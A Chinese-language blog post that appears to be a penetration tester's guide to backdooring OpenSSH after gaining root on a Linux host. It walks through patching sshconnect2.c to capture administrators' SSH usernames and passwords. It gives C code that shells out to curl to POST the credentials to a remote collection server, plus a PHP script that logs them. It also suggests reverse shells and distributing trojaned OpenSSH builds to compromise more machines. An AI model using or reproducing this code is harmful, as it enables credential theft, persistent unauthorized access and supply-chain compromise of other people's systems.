大家都知道,OPENSSH是基於Linux下,一款開源,安全性不錯的Linux SSH會話連接工具。
在滲透當中,當我們get root了。我們如何來記錄Linux管理員登陸過的SSH?
想法如下:
1:更改OPENSSH源代碼,記錄到某個地方。
2:在更改源代碼的前提下,將OPENSSH 記錄到的賬戶密碼POST/GET/傳輸到某個地方。
3:更改OPENSSH源代碼,對內網進行掃描。將獲得的賬戶密碼,在Linux機器OPENSSH連接進行比對。如果成功就發送,如果失敗就PASS。
4:如何獲得更多的Linux肉雞? 更改OPENSSH源代碼,寫成后門,然后發布。
測試中截圖如下:
我們分析OPENSSH連接過程,然后找到可更改代碼的地方,截取USERNAME和PASSWORD:
之后我們重新編譯OPENSSH,事前需要看好版本,不過一般管理員對OPENSSH版本不會重視把?
如果管理員連接的OPENSSH:
我們將記錄到密碼。
-----------------------------------------------------------------------
如果你覺得這樣達不到你的目的。
咱們可以加個反向連接shell,管理員每次一連接,就反向到你那兒去。或者一直把shell 反向都處於連接的狀態。
------------------------------------------------------------------
也可以直接CURL到咱們的地方。
接受:
<?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['Host']; if(isset($username) != "" || isset($password) !="" || isset($host) != "") { $fp = fopen("log.txt","a+"); $result = "Username:.$username--->:Password:$password----->:Host:$host"; fwrite($fp,$result); fwrite($fp,"\r\n"); fclose($fp); } ?>
POST:
char szres[1024] = {0}; memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"userName=%s&password=%s&Host=%s\" http://xxxxxx/xx.php >null",options.user,pass,get_remote_ipaddr()); printf("Szres = %s.\r\n",szres); system(szres);
寫的很倉促,代碼路徑這塊沒有經過判斷之類的。畢竟我是以滲透出路的,代碼寫的很爛,還請見諒。
大概具體就是這樣了,如果你覺得你已經知道了這個方法,或者你根本用不到。還請別打我。
剛才忘記說了,更改文件代碼的文件名字是:
sshconnect2.c //只要有認證的地方都可以改。
編譯SSH命令如下:
./configure --prefix=/usr --sysconfdir=/etc/ssh
make ; make install
然后直接SSH命令用即可。